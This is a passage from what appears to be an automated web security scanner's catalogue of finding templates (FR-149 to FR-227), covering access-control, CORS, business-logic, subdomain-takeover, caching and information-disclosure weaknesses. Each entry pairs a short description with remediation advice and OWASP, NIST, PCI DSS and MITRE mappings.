Description: Mass assignment was exploited to modify a privileged field such as 'isAdmin', 'role', or 'permission_level' by including it in a user-controlled request body. This allows privilege escalation to administrator or higher-privileged roles.
Remediation: Block mass assignment of privilege-related fields. Explicitly whitelist only user-modifiable fields. Validate and enforce role changes through dedicated privileged endpoints.
OWASP Web: A04:2025
HIGH FR-149 — Broken Object-Level Authorization (BOLA) in API
Description: API endpoints expose object-level access without authorization validation. An authenticated user can access or modify another user's objects by substituting object IDs in API requests (equivalent to IDOR in APIs).
Remediation: Implement authorization checks at the object level for every API endpoint. Validate that the authenticated user has permission to access the specific object referenced in the request.
OWASP Web: A01:2025
HIGH FR-150 — Broken Function-Level Authorization (BFLA) in API
Description: API endpoints with administrative or privileged functionality are accessible to lower-privileged or unauthenticated users. Function-level access control is not enforced by the API.
Remediation: Enforce role-based access control at the function/endpoint level. Apply authorization middleware to every API route that requires privilege. Perform authorization checks server-side on every request.
OWASP Web: A01:2025
MEDIUM FR-151 — HTTP Method Override Accepted
Description: The application accepts HTTP method override headers (X-HTTP-Method-Override, X-Method-Override) that substitute the actual HTTP method with a client-specified one. This may bypass access controls that rely on HTTP method restrictions.
Remediation: Disable HTTP method override support unless explicitly required. If required, restrict method overrides to authenticated users and validate that the overridden method is appropriate for the endpoint.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A01:2025
OWASP API: API8:2023 – Security Misconfiguration
NIST 800-53: CM-6, CM-7
PCI DSS 4: 6.2.4
HIGH FR-152 — CORS Misconfiguration — Arbitrary Origin Reflected
Description: The server reflects the request's Origin header in the Access-Control-Allow-Origin response header and includes Access-Control-Allow-Credentials: true. This allows any origin to make credentialed cross-origin requests and read responses, bypassing the Same-Origin Policy.
Remediation: Maintain an explicit whitelist of allowed origins. Never reflect the request Origin blindly. Do not combine Access-Control-Allow-Credentials: true with dynamic origin reflection or wildcard origins.
OWASP Web: A01:2025
HIGH FR-153 — CORS Misconfiguration — Null Origin Allowed
Description: The server includes 'Access-Control-Allow-Origin: null' in its response. This allows sandboxed iframes, redirects, and local file requests to make credentialed cross-origin requests to the API.
Remediation: Remove 'null' from the allowed origins list. Use an explicit origin whitelist instead.
OWASP Web: A01:2025
HIGH FR-154 — Business Logic Flaw — Negative Value Accepted
Description: The application accepts negative numeric values in business-critical fields (quantity, price, payment amount). This can be exploited to inflate balances, receive credit for purchases, or bypass monetary validation.
Remediation: Validate that all numeric inputs are within expected positive ranges. Apply server-side bounds checking for all quantity, price, and amount fields.
OWASP Web: A04:2025
HIGH FR-155 — Business Logic Flaw — Price Manipulation
Description: The application trusts client-submitted pricing data without server-side verification. An attacker can manipulate price parameters to purchase items at an arbitrary price.
Remediation: Never trust client-submitted prices. Fetch prices from the server-side data store using product IDs and compute totals server-side. Treat price as a read-only server-computed field.
OWASP Web: A04:2025
MEDIUM FR-156 — Business Logic Flaw — Coupon/Discount Abuse
Description: Coupon or discount codes can be applied multiple times per order, stacked beyond intended limits, or applied to ineligible items. Insufficient validation allows financial loss through discount abuse.
Remediation: Enforce server-side usage limits per coupon and per user. Validate coupon applicability rules on the server. Implement transactional locks to prevent race condition exploitation.
OWASP Web: A04:2025
HIGH FR-157 — Business Logic Flaw — Workflow Step Bypass
Description: Multi-step workflows (checkout, verification, approval) can be bypassed by directly accessing later steps without completing earlier steps. Server-side workflow state is not enforced.
Remediation: Track workflow state server-side and enforce step ordering. Verify prerequisites are complete before allowing advancement to subsequent steps.
OWASP Web: A04:2025
HIGH FR-158 — Business Logic Flaw — Race Condition
Description: A race condition was detected in a critical business operation (e.g., balance check-then-debit, coupon redemption, token verification). Concurrent requests can cause the operation to be performed multiple times before state is updated.
Remediation: Implement database-level row locking or optimistic concurrency control for critical operations. Use atomic transactions. Implement idempotency keys to prevent duplicate processing.
OWASP Web: A04:2025
MEDIUM FR-159 — Rate Limiting Not Enforced on Sensitive Endpoint
Description: No rate limiting is applied to sensitive endpoints such as OTP verification, coupon redemption, password reset, or API calls. Attackers can make unlimited requests to brute-force codes or automate abuse.
Remediation: Implement per-IP and per-user rate limiting on all sensitive endpoints. Use exponential backoff or CAPTCHA challenges after threshold violations.
OWASP Web: A04:2025
HIGH FR-160 — Insecure Direct Object Reference in File Download
Description: File download endpoints use user-supplied filenames or IDs to retrieve files without ownership validation or path sanitization. Users can download files belonging to other users or access arbitrary files on the filesystem.
Remediation: Validate file ownership on every download request. Use indirect file references (GUIDs) instead of filesystem paths. Sanitize filenames and resolve canonical paths before access.
OWASP Web: A01:2025
INFO FR-161 — Screenshot Captured — Web Application Surface
Description: A screenshot of the target web application was captured. This records the visual surface of the application for documentation and change tracking purposes.
Remediation: No remediation required. Informational finding for documentation purposes.
OWASP Web: A05:2025
INFO FR-162 — FFUF Directory/File Discovered
Description: Content discovery via ffuf identified a directory or file not linked from the main application. Hidden paths may contain sensitive functionality, backups, or configuration files.
Remediation: Review discovered paths and apply appropriate access controls. Remove any paths that expose sensitive content or unused functionality.
OWASP Web: A05:2025
HIGH FR-163 — FFUF — Administrative Path Discovered
Description: ffuf content discovery identified an administrative interface or control panel at a predictable path. Administrative paths accessible without authentication represent a critical security risk.
Remediation: Restrict access to administrative paths by IP whitelist, VPN, or network segmentation. Enforce strong authentication on all administrative endpoints.
OWASP Web: A05:2025
LOW FR-164 — shcheck — Missing Security Header
Description: Security header analysis via shcheck identified one or more missing or misconfigured HTTP security headers. Missing security headers increase exposure to common browser-based attacks.
Remediation: Implement the missing security headers identified by shcheck. Refer to the OWASP Secure Headers Project for recommended header values and configurations.
OWASP Web: A05:2025
INFO FR-165 — Crawl — Undocumented Endpoint Discovered
Description: Application crawling discovered an endpoint not listed in sitemap.xml, robots.txt, or API documentation. Undocumented endpoints may contain legacy, debug, or unprotected functionality.
Remediation: Review all discovered endpoints and ensure they are properly secured and documented. Remove or disable any endpoints that are no longer required.
OWASP Web: A05:2025
INFO FR-166 — Crawl — External Domain Reference Found
Description: The application references external domains for resources (CDNs, third-party scripts, fonts). External dependencies introduce supply chain risk if those domains are compromised or the resources are modified.
Remediation: Audit all external resource dependencies. Use Subresource Integrity (SRI) hashes for external scripts and stylesheets. Consider self-hosting critical dependencies.
OWASP Web: A06:2025
INFO FR-167 — TLS Certificate Transparency Log Entry
Description: Certificate Transparency logs reveal all certificates issued for the target domain and its subdomains. This information exposes the full scope of the application's TLS-protected surface.
Impact: Certificate Transparency logs reveal all certificates ever issued for the domain, exposing subdomain naming patterns, internal service names, and historical infrastructure that may still be accessible.
Remediation: Informational. Review discovered subdomains for security implications. Ensure all discovered subdomains are accounted for and secured.
OWASP Web: A05:2025
MEDIUM FR-168 — Authentication — Concurrent Session Not Restricted
Description: The application allows unlimited concurrent sessions for a single user account. This makes it impossible to detect or prevent session sharing or account compromise based on active session count.
Remediation: Implement concurrent session controls with configurable limits. Notify users of new sessions and provide session management (view and terminate active sessions).
OWASP Web: A07:2025
MEDIUM FR-169 — HTTP Methods: Unsafe Methods Enabled
Description: The web server responds to dangerous HTTP methods including PUT (file upload), DELETE (file deletion), or TRACE (XST — Cross-Site Tracing). These methods may enable unauthorized modification of server content or session token theft.
Remediation: Disable unused HTTP methods at the web server level. Explicitly allow only the HTTP methods required by the application. Disable TRACE globally.
OWASP Web: A05:2025
MEDIUM FR-170 — Clickjacking Vulnerability
Description: The application does not implement anti-clickjacking protections (X-Frame-Options or CSP frame-ancestors). The page can be embedded in an attacker-controlled iframe to trick users into performing unintended actions.
Remediation: Add 'X-Frame-Options: DENY' or 'Content-Security-Policy: frame-ancestors none' to all application responses. Use the CSP frame-ancestors directive for more granular control.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
OWASP Web: A05:2025
NIST 800-53: SC-18, CM-6
PCI DSS 4: 6.2.4
HIGH FR-171 — Sensitive Data Exposure — PII in Response
Description: API responses or page content expose personally identifiable information (PII) such as email addresses, phone numbers, SSNs, or financial data that should not be visible to the requesting user or at all.
Remediation: Implement response filtering to include only fields necessary for the requesting user's context. Apply data minimization principles. Ensure sensitive fields are encrypted at rest and masked in API responses.
OWASP Web: A02:2025
CRITICAL FR-172 — Insecure Password Storage (Cleartext or Weak Hash)
Description: Evidence suggests passwords are stored in cleartext, as reversible encryption, or using a weak unsalted hash algorithm (MD5, SHA-1). Password compromise leads to immediate credential exposure.
Remediation: Store passwords using a modern adaptive hashing algorithm (bcrypt, Argon2id, or scrypt) with an appropriate cost factor. Never store passwords in cleartext or using reversible encryption.
OWASP Web: A02:2025
HIGH FR-173 — Subdomain Takeover — S3 Bucket Not Found
Description: A subdomain's DNS CNAME points to an AWS S3 bucket that returns a NoSuchBucket error. An attacker can create an S3 bucket with the matching name and serve content from the trusted subdomain.
Remediation: Delete the dangling CNAME record or create and properly configure the S3 bucket. Implement S3 bucket name reservation for subdomains.
OWASP Web: A05:2025
HIGH FR-174 — Subdomain Takeover — GitHub Pages
Description: A subdomain's DNS CNAME points to a GitHub Pages site that no longer exists or is unclaimed. An attacker can create a matching GitHub repository with Pages enabled to take over the subdomain.
Remediation: Remove the dangling CNAME record. If GitHub Pages are still required, recreate the repository and verify the custom domain configuration.
OWASP Web: A05:2025
HIGH FR-175 — Subdomain Takeover — Heroku
Description: A subdomain's DNS CNAME points to a Heroku application that has been deleted or is unclaimed. An attacker can provision a new Heroku app with the matching domain to take over the subdomain.
Remediation: Remove the dangling DNS record. If the Heroku app is still required, redeploy it and verify the custom domain binding.
OWASP Web: A05:2025
HIGH FR-176 — Prototype Pollution in JavaScript
Description: Prototype pollution was detected. User-controlled JSON or query parameter keys such as __proto__, constructor, or prototype are merged into application objects, potentially polluting the JavaScript prototype chain and affecting all objects.
Remediation: Sanitize keys before merging user-supplied objects. Use Object.create(null) for dictionaries. Validate that __proto__ and constructor keys are rejected in user input.
OWASP Web: A03:2025
CRITICAL FR-177 — HTTP Request Smuggling
Description: HTTP request smuggling was detected due to inconsistent interpretation of Content-Length and Transfer-Encoding headers between the front-end proxy and back-end server. This can enable cache poisoning, request hijacking, or security control bypass.
Remediation: Ensure consistent HTTP parsing between all front-end and back-end components. Normalize ambiguous Transfer-Encoding headers at the edge. Upgrade to HTTP/2 where possible.
OWASP Web: A05:2025
HIGH FR-178 — Web Cache Poisoning
Description: Web cache poisoning was detected. The caching layer reflects unkeyed request headers (X-Forwarded-Host, X-Original-URL) into cached responses. An attacker can poison the cache to serve malicious content to all users.
Remediation: Review cache key configuration to include all headers that influence response content. Validate and sanitize headers before reflecting them in responses.
OWASP Web: A03:2025
HIGH FR-179 — GraphQL Authorization Bypass
Description: GraphQL queries can access data from unauthorized objects or users by bypassing field-level authorization. Inline fragment spreading or alias tricks may circumvent per-field permission checks.
Remediation: Implement field-level authorization checks using a library such as graphql-shield. Apply authorization at the resolver level, not just the query level.
OWASP Web: A01:2025
LOW FR-180 — Information Disclosure: Internal Path in Response
Description: Internal filesystem paths (e.g., /var/www/html/, C:\inetpub\wwwroot\) are disclosed in HTTP responses, error pages, or HTTP headers. These paths aid attackers in fingerprinting the server environment.
Remediation: Configure custom error pages. Remove all internal path references from HTTP responses. Review template and error handling code for inadvertent path disclosure.
OWASP Web: A05:2025
HIGH FR-181 — Access Matrix — Unauthenticated Access to Authenticated Endpoint
Description: An endpoint designated as requiring authentication is accessible without any session token or authentication credentials. Authentication enforcement is missing for this route.
Remediation: Implement authentication middleware that applies to all routes requiring login. Use a deny-by-default access control policy where routes must be explicitly marked as public.
OWASP Web: A01:2025
HIGH FR-182 — Access Matrix — Lower-Role Access to Higher-Role Endpoint
Description: An endpoint restricted to a higher-privileged role (admin, manager) is accessible by a lower-privileged authenticated user. Role-based access control enforcement is missing or inadequate for this endpoint.
Remediation: Enforce role-based authorization on all privileged endpoints. Validate the user's role server-side on every request. Implement centralized authorization that cannot be bypassed.
OWASP Web: A01:2025
HIGH FR-183 — Access Matrix — User A Can Read User B Data
Description: Authenticated user A can read data owned by user B by manipulating object identifiers in API requests. Object-level authorization is not enforced for read operations.
Remediation: Validate object ownership on every read operation. Implement server-side checks that confirm the requesting user is authorized to view the specific object.
OWASP Web: A01:2025
CRITICAL FR-184 — Access Matrix — User A Can Modify User B Data
Description: Authenticated user A can modify or delete data owned by user B by manipulating object identifiers in API requests. Object-level authorization is not enforced for write operations.
Remediation: Validate object ownership on every write and delete operation. Require explicit ownership or permission grants before allowing modifications to another user's data.
OWASP Web: A01:2025
CRITICAL FR-185 — Access Matrix — Admin Functionality Accessible by Regular User
Description: Administrative functions (user management, system configuration, data export) are accessible to regular authenticated users without elevated privileges. The access control matrix has gaps in administrative endpoint protection.
Remediation: Implement strict role-based access control with a separate administrative role. Enforce role checks at the API handler level for all administrative operations.
OWASP Web: A01:2025
MEDIUM FR-186 — HTTP Security Header — X-Frame-Options Incorrectly Configured
Description: The X-Frame-Options header is present but misconfigured (e.g., set to ALLOWALL or using an invalid value). An incorrect configuration may still allow the page to be framed, enabling clickjacking attacks.
Remediation: Set X-Frame-Options to 'DENY' or 'SAMEORIGIN'. Validate the header value is correctly parsed by target browsers.
OWASP Web: A05:2025
MEDIUM FR-187 — Content-Security-Policy — Unsafe-Eval Allowed
Description: The Content-Security-Policy header contains 'unsafe-eval', which allows the use of eval(), setTimeout(), setInterval() with string arguments, and new Function(). This significantly weakens XSS protections.
Remediation: Remove 'unsafe-eval' from the CSP. Refactor code that relies on eval() to use safer alternatives. Review all dynamic code execution patterns.
OWASP Web: A05:2025
MEDIUM FR-188 — SSL/TLS Forward Secrecy: Not Supported
Description: The server does not support cipher suites that provide Perfect Forward Secrecy (PFS). Without PFS, a compromise of the server's private key allows decryption of all previously captured TLS sessions.
Remediation: Enable ECDHE (Elliptic Curve Diffie-Hellman Ephemeral) cipher suites. Disable static RSA key exchange. Prefer ECDHE-RSA or ECDHE-ECDSA cipher suites.
OWASP Web: A02:2025
LOW FR-189 — TLS OCSP Stapling Not Configured
Description: OCSP stapling is not configured on the server. Without stapling, clients must query the OCSP responder directly to check certificate revocation status, introducing latency and potential privacy leakage.
Remediation: Enable OCSP stapling in the web server configuration (ssl_stapling on in Nginx; SSLUseStapling on in Apache). Include the OCSP stapling cache configuration.
OWASP Web: A02:2025
CRITICAL FR-190 — GraphQL SQL Injection via Argument
Description: SQL injection was detected via GraphQL query arguments. Unsanitized argument values are passed to underlying database queries without parameterization.
Remediation: Use parameterized queries or ORM methods in all GraphQL resolvers. Sanitize and validate all argument values. Apply input type constraints at the GraphQL schema level.
OWASP Web: A03:2025
MEDIUM FR-191 — Sensitive Data in GET Request Parameters
Description: Sensitive data (passwords, session tokens, personal information) is transmitted in GET request query parameters. GET parameters are logged in server logs, browser history, and Referer headers, exposing sensitive values.
Remediation: Transmit sensitive data via POST request bodies over HTTPS. Never include credentials, session tokens, or sensitive identifiers in URL query parameters.
OWASP Web: A02:2025
MEDIUM FR-192 — Missing Rate Limiting on Password Reset
Description: The password reset endpoint does not enforce rate limiting. An attacker can repeatedly request password resets for target accounts, potentially triggering email flooding or token enumeration.
Remediation: Implement rate limiting on the password reset endpoint (per IP and per account). Add CAPTCHA after a threshold of requests.
OWASP Web: A07:2025
MEDIUM FR-193 — Insecure Redirect After Authentication
Description: The post-authentication redirect URL is controlled by a user-supplied parameter (e.g., next=, redirect=, returnUrl=) without validation. An attacker can craft a phishing URL that redirects users to a malicious site after successful login.
Remediation: Validate post-login redirect URLs against a whitelist. Use relative paths for redirects. Never redirect to externally supplied URLs without validation.
OWASP Web: A01:2025
INFO FR-194 — Lack of Security.txt File
Description: The application does not have a security.txt file at /.well-known/security.txt. The security.txt standard (RFC 9116) allows security researchers to identify and report vulnerabilities responsibly.
Remediation: Create a security.txt file at /.well-known/security.txt specifying contact information, disclosure policy, and PGP keys for secure communications.
OWASP Web: A05:2025
HIGH FR-195 — HTTP/2 Rapid Reset Attack Exposure
Description: The server supports HTTP/2 and may be vulnerable to the HTTP/2 Rapid Reset attack (CVE-2023-44487). An attacker can open and cancel streams at high speed to cause resource exhaustion and denial of service.
Remediation: Apply patches from the web server vendor for CVE-2023-44487. Implement HTTP/2 stream limits and reset rate limiting. Update to a patched version of the HTTP/2 implementation.
OWASP Web: A04:2025
INFO FR-196 — CDN Active
Description: A Content Delivery Network (CDN) was identified in front of the target via response headers or Server fingerprinting. TLS findings reflect the CDN edge configuration. Cache poisoning may be in scope. Header values and security posture may differ at the origin server.
Impact: Active CDN detection reveals the content delivery and security infrastructure protecting the application. An attacker uses this to identify CDN-specific bypass techniques, origin server discovery methods, and CDN configuration weaknesses.
Remediation: Restrict origin server to accept connections only from CDN IP ranges. Ensure security headers are set at the origin. Review CDN cache key configuration to prevent web cache poisoning.
OWASP Web: A05:2025
INFO FR-197 — WAF / Edge Security Platform Active
Description: A WAF or edge security platform was identified in front of the target via response headers or body signatures. WAF rules may suppress injection probes — absence of a finding does not confirm absence of the vulnerability. Bot-protection may interrupt automated probes.
Remediation: Keep WAF rule sets up to date covering OWASP Top 10 2025. Do not rely solely on WAF protection — fix underlying vulnerabilities. Review WAF bypass techniques relevant to the identified platform.
OWASP Web: A05:2025
HIGH FR-198 — WAF/CDN IP Block Detected
Description: The WAF or CDN is blocking all requests from the scanner's IP address. All subsequent results from this point forward may be unreliable as every request returns a WAF block page.
Impact: Detection of WAF/CDN IP ranges confirms that direct access to the origin server is mediated by a security proxy. An attacker targets CDN bypass techniques (IP history, DNS records, misconfigurations) to reach the unprotected origin.
Remediation: Rotate scanner IP or use authorized IP whitelisting for the pentest engagement. Notify the client if the scanner is being rate-limited or blocked.
OWASP Web: A05:2025
INFO FR-199 — WAF/CDN Session Termination Detected
Description: The WAF or CDN revoked the authenticated session mid-scan (HTTP 401 or login redirect returned on root URL probe). Authenticated scan results from this point may be incomplete.
Remediation: Re-authenticate and resume the scan. Consider using static session tokens or IP-whitelisting for the scanner in the WAF configuration.
OWASP Web: A05:2025
INFO FR-200 — WAF/CDN Challenge Page Active
Description: The WAF or CDN is serving a JavaScript challenge or CAPTCHA page instead of real content. Automated probe results may be incomplete or inaccurate while the challenge is active.
Remediation: Request the client whitelist the scanner IP in the WAF configuration for the duration of the assessment.
OWASP Web: A05:2025
MEDIUM FR-201 — Potential CDN Origin Bypass
Description: A request with IP spoofing headers (X-Forwarded-For, X-Real-IP) returned a different Server header, suggesting the origin server may be reachable without passing through the CDN. Direct access to the origin bypasses CDN-level WAF and rate-limiting.
Remediation: Restrict origin server to accept connections only from CDN IP ranges. Implement firewall rules to block direct internet access to the origin.
OWASP Web: A05:2025
HIGH FR-202 — Web Cache Poisoning
Description: An unkeyed request header was reflected in a cached response. An attacker can inject this header with a malicious value and have the CDN serve that value to all subsequent users who receive the cached response.
Remediation: Ensure all headers that influence the response are included in the CDN cache key. Remove unkeyed header reflection from the application.
OWASP Web: A04:2025
INFO FR-203 — Wildcard (*) Detected
Description: A wildcard/catch-all response was detected — the server returns the same response for all unknown paths. Directory brute-forcing may be unreliable; all path-based findings are validated against the wildcard baseline.
Remediation: Review server-side routing to ensure 404 responses are returned for truly non-existent paths rather than wildcard catch-all responses.
Effort: Low
OWASP Web: A05:2025
MITRE ATT&CK: T1595.003 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-8, CM-7, AC-3
PCI DSS 4: 6.5.1
INFO FR-204 — CMS Detected
Description: A Content Management System (CMS) was identified from page source signatures, meta tags, or response headers. A known CMS allows attackers to target version-specific vulnerabilities and enumerate plugins/themes.
Remediation: Ensure the CMS and all plugins/themes are kept up to date. Remove version disclosure from meta generator tags.
Effort: Low
OWASP Web: A05:2025
MITRE ATT&CK: T1592.002 (Reconnaissance), T1595.002 (Reconnaissance)
NIST 800-53: CM-8, SI-2, CM-7
PCI DSS 4: 6.3.3
INFO FR-205 — Web Structure Identified
Description: The web application framework or structure type was classified (e.g., SPA, SSR Hybrid, Server-Rendered, Static HTML, API-first) from response characteristics. This informs subsequent testing phases.
Remediation: No direct remediation required. Ensure the application exposes only necessary fingerprinting signals.
OWASP Web: A05:2025
INFO FR-206 — Single Page Application Detected
Description: A Single Page Application (SPA) was identified. Client-side routing and dynamic content loading may prevent traditional crawler-based endpoint discovery. JavaScript analysis is used to supplement crawling.
Remediation: No direct remediation required.
OWASP Web: A05:2025
LOW FR-207 — Information Disclosure: Sensitive Path in robots.txt
Description: The robots.txt file discloses path patterns intended to be hidden from search engines. These paths are still accessible by attackers and their disclosure aids reconnaissance.
Remediation: Remove sensitive paths from robots.txt. Use proper access controls to restrict access to sensitive areas rather than relying on search engine exclusion.
OWASP Web: A05:2025
LOW FR-208 — Information Disclosure: Server Header
Description: The HTTP Server response header reveals the web server software name and version, reducing the attacker's reconnaissance effort needed to identify version-specific vulnerabilities.
Impact: The Server header discloses the web server software and version, enabling an attacker to search for known vulnerabilities specific to that version. This information reduces the reconnaissance effort required for targeted exploitation and is a prerequisite for version-specific exploit selection.
Remediation: Remove or genericise the Server response header in the web server configuration (e.g., ServerTokens Prod in Apache; server_tokens off in nginx).
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
LOW FR-209 — Information Disclosure: X-Powered-By Header
Description: The X-Powered-By response header discloses the application framework, language, or runtime version, reducing the attacker's effort needed to identify version-specific vulnerabilities.
Impact: The X-Powered-By header reveals the application framework and version (e.g., PHP, ASP.NET), enabling targeted vulnerability research. An attacker uses this to narrow exploit selection to framework-specific attacks.
Remediation: Remove or suppress the X-Powered-By header at the application framework or reverse-proxy level.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
LOW FR-210 — Information Disclosure: X-AspNet-Version Header
Description: The X-AspNet-Version header discloses the exact .NET framework version in use, assisting attackers in identifying version-specific vulnerabilities.
Impact: The X-AspNet-Version header discloses the exact ASP.NET runtime version, enabling an attacker to identify applicable CVEs and select exploits specific to that runtime version.
Remediation: Set <httpRuntime enableVersionHeader='false' /> in Web.config and configure the reverse proxy to strip this header.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
LOW FR-211 — Information Disclosure: Via Header
Description: The Via response header discloses internal proxy or gateway infrastructure details, including software versions and internal host names.
Impact: The Via header reveals proxy infrastructure including reverse proxy software and internal routing topology. This information enables an attacker to identify proxy-specific bypass techniques and map the internal network architecture.
Remediation: Configure reverse proxies to suppress or genericise the Via header.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
MEDIUM FR-212 — Information Disclosure: Debug/Trace Headers
Description: Debug or trace response headers (e.g., X-Debug-Info, X-Request-Id with sensitive stack details, X-Trace) expose internal application state, timing, or infrastructure details that assist attackers.
Impact: Debug and trace headers leak internal application state, stack traces, request identifiers, and server-side processing details. This information dramatically accelerates vulnerability discovery by revealing code paths, framework internals, and error handling behavior.
Remediation: Strip all debug and trace headers from production responses. Review reverse proxy and application framework header emission configuration.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.5.1
INFO FR-213 — Unknown Header Identified
Description: An unrecognised HTTP response header was identified. Custom or proprietary headers may disclose internal platform details, testing infrastructure, or undocumented API features.
Remediation: Review all custom response headers and remove those that disclose internal implementation details.
OWASP Web: A05:2025
LOW FR-214 — Software Version Disclosed
Description: Software version information was identified in response headers, HTML meta tags, error pages, or JavaScript files. A known version allows attackers to rapidly identify applicable CVEs.
Impact: Disclosed software versions allow an attacker to search vulnerability databases for known CVEs affecting that specific version, reducing the effort required for targeted exploitation. Version information also reveals the organization's patching cadence and maintenance practices.
Remediation: Remove version disclosure from all response surfaces. Suppress generator tags, version comments, and version-bearing headers.
Effort: Low
OWASP Web: A05:2025
MITRE ATT&CK: T1592.002 (Reconnaissance), T1595.002 (Reconnaissance)
NIST 800-53: CM-8, SI-2, CM-7
PCI DSS 4: 6.3.3
LOW FR-215 — Virtual Host Discovered
Description: A virtual host was identified via Host header fuzzing or DNS enumeration. Additional virtual hosts on the same IP may have weaker security configurations or expose internal applications.
Remediation: Restrict virtual host binding to expected Host headers. Return consistent responses for unrecognised Host header values.
Effort: Low
OWASP Web: A05:2025
MITRE ATT&CK: T1592.002 (Reconnaissance), T1595.002 (Reconnaissance)
NIST 800-53: CM-8, SI-2, CM-7
PCI DSS 4: 6.3.3
HIGH FR-216 — Subdomain Takeover — Dangling CNAME
Description: A CNAME DNS record points to an unclaimed external service endpoint. An attacker can claim this endpoint and serve malicious content under the target's domain, enabling phishing, credential theft, and cookie theft.
Remediation: Remove dangling CNAME records from DNS. Ensure external service accounts are active while DNS records reference them.
OWASP Web: A05:2025
MEDIUM FR-217 — Subdomain Takeover Indicator
Description: A response pattern suggesting a potential subdomain takeover was detected. The subdomain may be claimable on the identified external platform.
Remediation: Verify whether the external service account has been deprovisioned. Remove the DNS record or re-claim the service endpoint.
OWASP Web: A05:2025
HIGH FR-218 — DNS Zone Transfer Permitted (AXFR)
Description: The DNS server permits full zone transfer (AXFR) requests, allowing any external host to retrieve all DNS records for the domain. This exposes internal hostnames, IP addresses, and infrastructure topology.
Impact: Permitted zone transfers expose the complete DNS zone contents including all hostnames, IP addresses, and service records. This provides an attacker with a comprehensive map of the organization's infrastructure without active scanning.
Remediation: Restrict AXFR to authorised secondary DNS servers only. Configure ACLs on the DNS server to deny zone transfer requests from untrusted sources.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2025
MITRE ATT&CK: T1590.002 (Reconnaissance), T1018 (Discovery)
NIST 800-53: SC-20, CM-7, AC-3
PCI DSS 4: 1.3.2, 6.5.1
INFO FR-219 — Interesting Endpoint Discovered
Description: An interesting URL or endpoint was discovered during crawling or discovery. The endpoint may expose sensitive functionality, administrative interfaces, or API capabilities.
Remediation: Review discovered endpoints and ensure appropriate access controls are in place.
Effort: Low
OWASP Web: A05:2025
MITRE ATT&CK: T1595.003 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-8, CM-7, AC-3
PCI DSS 4: 6.5.1
INFO FR-220 — Authenticated Interesting Endpoint
Description: An interesting endpoint was discovered while authenticated. The endpoint may expose functionality that should be restricted to specific roles only.
Remediation: Review the endpoint and apply least-privilege role-based access controls.
Effort: Low
OWASP Web: A02:2025
MITRE ATT&CK: T1595.003 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-8, CM-7, AC-3
PCI DSS 4: 6.5.1
HIGH FR-221 — Sensitive File Exposed
Description: A sensitive file was found accessible on the web server. Sensitive files may contain credentials, configuration data, private keys, source code, or database contents.
Remediation: Remove or restrict access to sensitive files. Ensure web root contains only publicly accessible content.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2025
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: CM-6, CM-7
PCI DSS 4: 3.4.1
CRITICAL FR-222 — Sensitive Path Accessible
Description: A sensitive path was found accessible that should require authentication or should not be publicly reachable. Accessing this path may expose administrative functionality, configuration, or credentials.
Remediation: Apply authentication and authorisation controls to all sensitive paths. Implement a default-deny access policy.
Effort: Low
OWASP Web: A01:2025
MITRE ATT&CK: T1595.003 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-8, CM-7, AC-3
PCI DSS 4: 6.5.1
HIGH FR-223 — Admin Panel Exposed
Description: An administrative panel or management interface was found publicly accessible. Exposure of admin panels increases the attack surface for brute-force, credential stuffing, and privilege escalation attacks.
Remediation: Restrict admin panel access by IP allowlist. Require multi-factor authentication for all administrative access. Do not expose admin interfaces to the public internet.
OWASP Web: A01:2025
HIGH FR-224 — Exposed Admin/Debug Endpoint
Description: A debug or administrative endpoint was found publicly accessible. These endpoints may expose configuration data, heap dumps, environment variables, or allow remote code execution.
Remediation: Remove debug endpoints from production deployments. Restrict access to any legitimate admin endpoints by IP allowlist and authentication.
OWASP Web: A05:2025
INFO FR-225 — Web Files Downloaded
Description: Downloadable files (e.g., backups, exports, documents) were identified on the web server. Downloadable files may contain sensitive information including credentials, source code, or internal data.
Remediation: Review all downloadable files and ensure they do not expose sensitive information. Remove backup files from web-accessible directories.
OWASP Web: A05:2025
INFO FR-226 — Web Screenshot Captured
Description: A screenshot of the web application was captured using a headless browser. This provides visual context for the application's UI, authentication flows, and security controls.
Impact: Visual captures of web pages provide immediate insight into application functionality, branding, and potential entry points without active interaction. Screenshots reveal login forms, admin panels, and application state that inform targeted attacks.
Remediation: No remediation required. Screenshots are captured for assessment documentation purposes.
OWASP Web: A05:2025
LOW FR-227 — Hidden Parameter Discovered
